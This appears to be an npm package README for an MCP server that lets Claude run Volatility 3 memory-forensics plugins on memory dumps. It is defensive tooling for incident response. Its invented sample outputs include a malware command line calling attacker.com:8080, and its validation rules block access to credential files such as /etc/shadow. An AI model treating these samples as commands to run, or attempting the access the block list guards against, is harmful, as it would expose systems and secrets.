@modular-intelligence/volatility

v1.0.2

Published

10 days ago

MCP server wrapping Volatility 3 for memory forensics analysis

0High
0Medium
0Low

Volatility 3 MCP Server

A comprehensive memory forensics analysis server that integrates with Volatility 3 for deep inspection of memory dumps. This MCP (Model Context Protocol) server enables Claude to perform advanced memory forensic analysis including process enumeration, malware detection, network connection tracking, and system artifact extraction from memory dumps captured from Windows and Linux systems.

Overview

This server provides access to Volatility 3, a leading open-source memory forensics framework, through a unified interface:

Volatility 3 - Memory dump analysis including process listing, malware detection, network scanning, and registry analysis

Perfect for incident response, malware analysis, forensic investigations, and security research.

Tools

| Tool | Description | |------|-------------| | vol_pslist | List all running processes from memory dump | | vol_netscan | Scan for network connections in memory dump (Windows) | | vol_malfind | Find hidden or injected code in process memory | | vol_dlllist | List loaded DLLs for processes | | vol_handles | List open handles for processes | | vol_cmdline | Display command-line arguments for processes | | vol_filescan | Scan for file objects in memory | | vol_hivelist | List registry hives in memory | | vol_timeliner | Generate activity timeline from memory artifacts |

Process List (vol_pslist)

List all running processes from a memory dump, supporting both Windows and Linux targets.

Input Parameters:

{
  dump_path: string      // Path to memory dump file (.raw/.dmp/.vmem/.lime/.mem)
  os: "windows" | "linux" // Target OS type (default: "windows")
  timeout: number        // Timeout in seconds (30-600, default: 300)
}

Example Request:

{
  "dump_path": "/path/to/memory.dmp",
  "os": "windows",
  "timeout": 300
}

Example Output:

{
  "plugin": "windows.pslist",
  "dump_path": "/path/to/memory.dmp",
  "process_count": 42,
  "processes": [
    {
      "pid": "4",
      "ppid": "0",
      "name": "System",
      "offset": "0x8b00e000",
      "threads": "8",
      "handles": "1024",
      "session_id": "N/A"
    },
    {
      "pid": "396",
      "ppid": "4",
      "name": "smss.exe",
      "offset": "0x8a72d000",
      "threads": "2",
      "handles": "56",
      "session_id": "0"
    },
    {
      "pid": "2840",
      "ppid": "1968",
      "name": "malware.exe",
      "offset": "0x8c91f000",
      "threads": "4",
      "handles": "128",
      "session_id": "1"
    }
  ]
}

Network Scan (vol_netscan)

Scan for network connections in Windows memory dumps, including TCP and UDP connections.

Input Parameters:

{
  dump_path: string  // Path to memory dump file (.raw/.dmp/.vmem/.lime/.mem)
  timeout: number    // Timeout in seconds (30-600, default: 300)
}

Example Request:

{
  "dump_path": "/path/to/memory.dmp",
  "timeout": 300
}

Example Output:

{
  "plugin": "windows.netscan",
  "dump_path": "/path/to/memory.dmp",
  "connection_count": 15,
  "connections": [
    {
      "offset": "0x8cd5f6a8",
      "protocol": "TCPv4",
      "local_address": "192.168.1.100",
      "local_port": "49320",
      "remote_address": "10.0.0.50",
      "remote_port": "443",
      "state": "ESTABLISHED",
      "pid": "2840",
      "owner": "malware.exe",
      "timestamp": "2024-01-15T10:30:45.000Z"
    },
    {
      "offset": "0x8cd5f720",
      "protocol": "TCPv4",
      "local_address": "192.168.1.100",
      "local_port": "49321",
      "remote_address": "192.0.2.1",
      "remote_port": "8080",
      "state": "ESTABLISHED",
      "pid": "2840",
      "owner": "malware.exe",
      "timestamp": "2024-01-15T10:31:22.000Z"
    }
  ]
}

Malware Detection (vol_malfind)

Find hidden or injected code in process memory, detecting code caves, suspicious memory regions, and injected malware.

Input Parameters:

{
  dump_path: string  // Path to memory dump file (.raw/.dmp/.vmem/.lime/.mem)
  pid: number        // Process ID to filter (optional)
  timeout: number    // Timeout in seconds (30-600, default: 300)
}

Example Request:

{
  "dump_path": "/path/to/memory.dmp",
  "pid": 2840,
  "timeout": 300
}

Example Output:

{
  "plugin": "windows.malfind",
  "dump_path": "/path/to/memory.dmp",
  "pid": 2840,
  "finding_count": 3,
  "findings": [
    {
      "pid": "2840",
      "process": "malware.exe",
      "address": "0x400000",
      "size": "4096",
      "reason": "Suspicious executable code in injected region",
      "protection": "PAGE_EXECUTE_READWRITE",
      "mem_state": "MEM_COMMIT",
      "mem_type": "MEM_PRIVATE",
      "signature": "4d5a9000",
      "hex_dump": "4d 5a 90 00 03 00 00 00..."
    },
    {
      "pid": "2840",
      "process": "malware.exe",
      "address": "0x500000",
      "size": "8192",
      "reason": "Executable code detected in heap",
      "protection": "PAGE_EXECUTE_READ",
      "mem_state": "MEM_COMMIT",
      "mem_type": "MEM_PRIVATE",
      "signature": "55894ec8",
      "hex_dump": "55 89 4e c8 c9 c3..."
    }
  ]
}

DLL List (vol_dlllist)

List all loaded DLLs for specified processes or all processes.

Input Parameters:

{
  dump_path: string  // Path to memory dump file (.raw/.dmp/.vmem/.lime/.mem)
  pid: number        // Process ID to filter (optional)
  timeout: number    // Timeout in seconds (30-600, default: 300)
}

Example Request:

{
  "dump_path": "/path/to/memory.dmp",
  "pid": 2840,
  "timeout": 300
}

Example Output:

{
  "plugin": "windows.dlllist",
  "dump_path": "/path/to/memory.dmp",
  "pid": 2840,
  "dll_count": 28,
  "dlls": [
    {
      "pid": "2840",
      "process": "malware.exe",
      "base": "0x400000",
      "size": "1720320",
      "path": "C:\\malware.exe",
      "load_order": "1"
    },
    {
      "pid": "2840",
      "process": "malware.exe",
      "base": "0x77000000",
      "size": "2101248",
      "path": "C:\\Windows\\System32\\ntdll.dll",
      "load_order": "2"
    },
    {
      "pid": "2840",
      "process": "malware.exe",
      "base": "0x762f0000",
      "size": "966656",
      "path": "C:\\Windows\\System32\\kernel32.dll",
      "load_order": "3"
    },
    {
      "pid": "2840",
      "process": "malware.exe",
      "base": "0x67890000",
      "size": "32768",
      "path": "C:\\malicious.dll",
      "load_order": "4"
    }
  ]
}

Process Handles (vol_handles)

List all open handles for processes, including files, registry keys, events, and other system objects.

Input Parameters:

{
  dump_path: string  // Path to memory dump file (.raw/.dmp/.vmem/.lime/.mem)
  pid: number        // Process ID to filter (optional)
  timeout: number    // Timeout in seconds (30-600, default: 300)
}

Example Request:

{
  "dump_path": "/path/to/memory.dmp",
  "pid": 2840,
  "timeout": 300
}

Example Output:

{
  "plugin": "windows.handles",
  "dump_path": "/path/to/memory.dmp",
  "pid": 2840,
  "handle_count": 156,
  "handles": [
    {
      "pid": "2840",
      "process": "malware.exe",
      "offset": "0x8c91f000",
      "handle": "4",
      "type": "File",
      "obj_offset": "0x8c92a000",
      "access": "0x001f0000",
      "name": "\\Device\\HarddiskVolume1\\Windows\\Temp\\payload.exe"
    },
    {
      "pid": "2840",
      "process": "malware.exe",
      "offset": "0x8c91f000",
      "handle": "8",
      "type": "Key",
      "obj_offset": "0x8c92b000",
      "access": "0x00020000",
      "name": "\\Registry\\Machine\\Software\\Microsoft\\Windows\\CurrentVersion\\Run"
    },
    {
      "pid": "2840",
      "process": "malware.exe",
      "offset": "0x8c91f000",
      "handle": "12",
      "type": "Event",
      "obj_offset": "0x8c92c000",
      "access": "0x001fffff",
      "name": "Global\\MalwareEvent123"
    }
  ]
}

Command Line (vol_cmdline)

Display command-line arguments for processes, revealing how processes were executed.

Input Parameters:

{
  dump_path: string  // Path to memory dump file (.raw/.dmp/.vmem/.lime/.mem)
  pid: number        // Process ID to filter (optional)
  timeout: number    // Timeout in seconds (30-600, default: 300)
}

Example Request:

{
  "dump_path": "/path/to/memory.dmp",
  "pid": 2840,
  "timeout": 300
}

Example Output:

{
  "plugin": "windows.cmdline",
  "dump_path": "/path/to/memory.dmp",
  "pid": 2840,
  "process_count": 1,
  "cmdlines": [
    {
      "pid": "2840",
      "process": "malware.exe",
      "args": "C:\\malware.exe -s http://attacker.com:8080 -d C:\\Windows\\Temp\\data.bin"
    }
  ]
}

File Scan (vol_filescan)

Scan for file objects in memory, revealing recently accessed files and file operations.

Input Parameters:

{
  dump_path: string  // Path to memory dump file (.raw/.dmp/.vmem/.lime/.mem)
  timeout: number    // Timeout in seconds (30-600, default: 300)
}

Example Request:

{
  "dump_path": "/path/to/memory.dmp",
  "timeout": 300
}

Example Output:

{
  "plugin": "windows.filescan",
  "dump_path": "/path/to/memory.dmp",
  "file_count": 487,
  "files": [
    {
      "offset": "0x8ca52000",
      "name": "\\Device\\HarddiskVolume1\\Windows\\System32\\kernel32.dll",
      "access": "Read",
      "size": "966656"
    },
    {
      "offset": "0x8ca52100",
      "name": "\\Device\\HarddiskVolume1\\Windows\\Temp\\malware.exe",
      "access": "Write",
      "size": "1720320"
    },
    {
      "offset": "0x8ca52200",
      "name": "\\Device\\HarddiskVolume1\\Users\\Administrator\\AppData\\Local\\Temp\\cache.dat",
      "access": "Read",
      "size": "512000"
    }
  ]
}

Registry Hive List (vol_hivelist)

List registry hives in memory, providing registry hive locations and offsets for further analysis.

Input Parameters:

{
  dump_path: string  // Path to memory dump file (.raw/.dmp/.vmem/.lime/.mem)
  timeout: number    // Timeout in seconds (30-600, default: 300)
}

Example Request:

{
  "dump_path": "/path/to/memory.dmp",
  "timeout": 300
}

Example Output:

{
  "plugin": "windows.registry.hivelist",
  "dump_path": "/path/to/memory.dmp",
  "hive_count": 8,
  "hives": [
    {
      "offset": "0x8c000000",
      "registry_path": "\\Registry\\Machine\\SAM",
      "file_path": "C:\\Windows\\System32\\config\\SAM",
      "user": "N/A",
      "virtual": "N/A"
    },
    {
      "offset": "0x8c100000",
      "registry_path": "\\Registry\\Machine\\Security",
      "file_path": "C:\\Windows\\System32\\config\\Security",
      "user": "N/A",
      "virtual": "N/A"
    },
    {
      "offset": "0x8c200000",
      "registry_path": "\\Registry\\Machine\\System",
      "file_path": "C:\\Windows\\System32\\config\\System",
      "user": "N/A",
      "virtual": "N/A"
    },
    {
      "offset": "0x8c300000",
      "registry_path": "\\Registry\\Machine\\Software",
      "file_path": "C:\\Windows\\System32\\config\\Software",
      "user": "N/A",
      "virtual": "N/A"
    }
  ]
}

Timeline (vol_timeliner)

Generate a timeline of system activity from memory artifacts, correlating events across multiple sources.

Input Parameters:

{
  dump_path: string  // Path to memory dump file (.raw/.dmp/.vmem/.lime/.mem)
  timeout: number    // Timeout in seconds (30-600, default: 300)
}

Example Request:

{
  "dump_path": "/path/to/memory.dmp",
  "timeout": 300
}

Example Output:

{
  "plugin": "timeliner.Timeliner",
  "dump_path": "/path/to/memory.dmp",
  "event_count": 89,
  "events": [
    {
      "timestamp": "2024-01-15T08:30:15.000Z",
      "source": "Process Create",
      "description": "svchost.exe (PID: 1024) created",
      "pid": "1024",
      "process": "svchost.exe"
    },
    {
      "timestamp": "2024-01-15T09:15:42.000Z",
      "source": "File Activity",
      "description": "malware.exe written to C:\\Windows\\Temp",
      "pid": "2840",
      "process": "explorer.exe"
    },
    {
      "timestamp": "2024-01-15T09:16:03.000Z",
      "source": "Process Create",
      "description": "malware.exe (PID: 2840) created",
      "pid": "2840",
      "process": "malware.exe"
    },
    {
      "timestamp": "2024-01-15T09:16:15.000Z",
      "source": "Network Connection",
      "description": "Network connection established to 10.0.0.50:443",
      "pid": "2840",
      "process": "malware.exe"
    }
  ]
}

Configuration

Environment Variables

This server requires Volatility 3 to be installed and accessible in the system PATH. No API keys are required.

export PATH="/path/to/volatility3:$PATH"

Volatility 3 Installation

Volatility 3 is the foundational requirement for this server. Install it following the official documentation:

Official Installation

Repository: https://github.com/volatilityfoundation/volatility3
Documentation: https://volatility3.readthedocs.io/
Requirements: Python 3.6+ and pip
Installation: pip install volatility3

Prerequisites

Bun runtime (version 1.x or later) or Node.js 18+
Volatility 3 installed and accessible as vol command
Memory dump files in supported formats (.raw, .dmp, .vmem, .lime, .mem)

Installation

Prerequisites Check

Ensure Volatility 3 is installed:

vol --version

Steps

Clone or download this repository:

git clone <repo-url>
cd volatility

Install dependencies:

bun install

Build the project:

bun run build

Run the server:

bun run start

The server will start listening on stdio transport.

Usage

Running the Server

Start the server with Bun:

bun run src/index.ts

The server implements the Model Context Protocol (MCP) and communicates via stdio transport. It can be integrated with Claude or other MCP clients.

Claude Desktop Configuration

Add the server to your Claude Desktop configuration at ~/Library/Application Support/Claude/claude_desktop_config.json:

{
  "mcpServers": {
    "volatility": {
      "command": "bun",
      "args": [
        "run",
        "/path/to/volatility/src/index.ts"
      ]
    }
  }
}

Claude Code MCP Settings

Configure the server in Claude Code's MCP settings (typically in .mcp.json or via settings UI):

{
  "servers": {
    "volatility": {
      "transport": "stdio",
      "command": "bun",
      "args": ["run", "/path/to/volatility/src/index.ts"]
    }
  }
}

Example Usage in Claude

Once configured, you can use the tools directly in conversations with Claude:

Request: "Analyze the memory dump at /path/to/memory.dmp and list all running processes"

Claude will call:

{
  "tool": "vol_pslist",
  "input": {
    "dump_path": "/path/to/memory.dmp",
    "os": "windows",
    "timeout": 300
  }
}

Request: "Check for malware in process ID 2840 from the memory dump"

Claude will call:

{
  "tool": "vol_malfind",
  "input": {
    "dump_path": "/path/to/memory.dmp",
    "pid": 2840,
    "timeout": 300
  }
}

Request: "Show me all network connections detected in the memory dump"

Claude will call:

{
  "tool": "vol_netscan",
  "input": {
    "dump_path": "/path/to/memory.dmp",
    "timeout": 300
  }
}

Request: "List all DLLs loaded by process explorer.exe (PID 1024)"

Claude will call:

{
  "tool": "vol_dlllist",
  "input": {
    "dump_path": "/path/to/memory.dmp",
    "pid": 1024,
    "timeout": 300
  }
}

Security

This server implements comprehensive input validation and security measures to prevent path traversal attacks, arbitrary command execution, and system resource abuse:

Input Validation

Dump Path Validation

Validates file path format and resolves to absolute paths
Enforces whitelist of allowed extensions: .raw, .dmp, .vmem, .lime, .mem
Requires file existence before processing
Prevents access to system-critical directories (/proc, /sys, /dev)
Blocks access to sensitive files (/etc/shadow, /etc/passwd)
Enforces maximum file size limit of 10GB

Process ID Validation

Accepts only positive integers
Validates ID is in valid process ID range
Filters processes by specified PID when provided

Timeout Validation

Enforces minimum timeout of 30 seconds
Enforces maximum timeout of 600 seconds (10 minutes)
Defaults to 300 seconds (5 minutes)
Prevents resource exhaustion from infinite execution

Plugin Whitelist

Only pre-approved Volatility plugins are allowed:

windows.pslist
windows.pstree
windows.netscan
windows.malfind
windows.dlllist
windows.handles
windows.cmdline
windows.filescan
windows.registry.hivelist
linux.pslist
linux.pstree
timeliner.Timeliner

What Gets Blocked

The server rejects:

Invalid dump file paths (non-existent, wrong extension)
Attempts to access system directories or sensitive files
Dump files exceeding 10GB
Out-of-range process IDs
Timeouts outside 30-600 second range
Plugins not on the whitelist
Path traversal attempts (../, etc.)

Error Handling

Invalid inputs return descriptive error messages
Volatility execution errors are caught and reported with stderr
Timeout violations trigger process termination and clear error messages
File system errors are handled gracefully

License

ISC License - see LICENSE file for details

Published

Vulnerabilities

Links

Maintainers

Keywords

Readme

Volatility 3 MCP Server

Overview

Tools

Process List (vol_pslist)

Network Scan (vol_netscan)

Malware Detection (vol_malfind)

DLL List (vol_dlllist)

Process Handles (vol_handles)

Command Line (vol_cmdline)

File Scan (vol_filescan)

Registry Hive List (vol_hivelist)

Timeline (vol_timeliner)

Configuration

Environment Variables

Volatility 3 Installation

Prerequisites

Installation

Prerequisites Check

Steps

Usage

Running the Server

Claude Desktop Configuration

Claude Code MCP Settings

Example Usage in Claude

Security

Input Validation

Plugin Whitelist

What Gets Blocked

Error Handling

License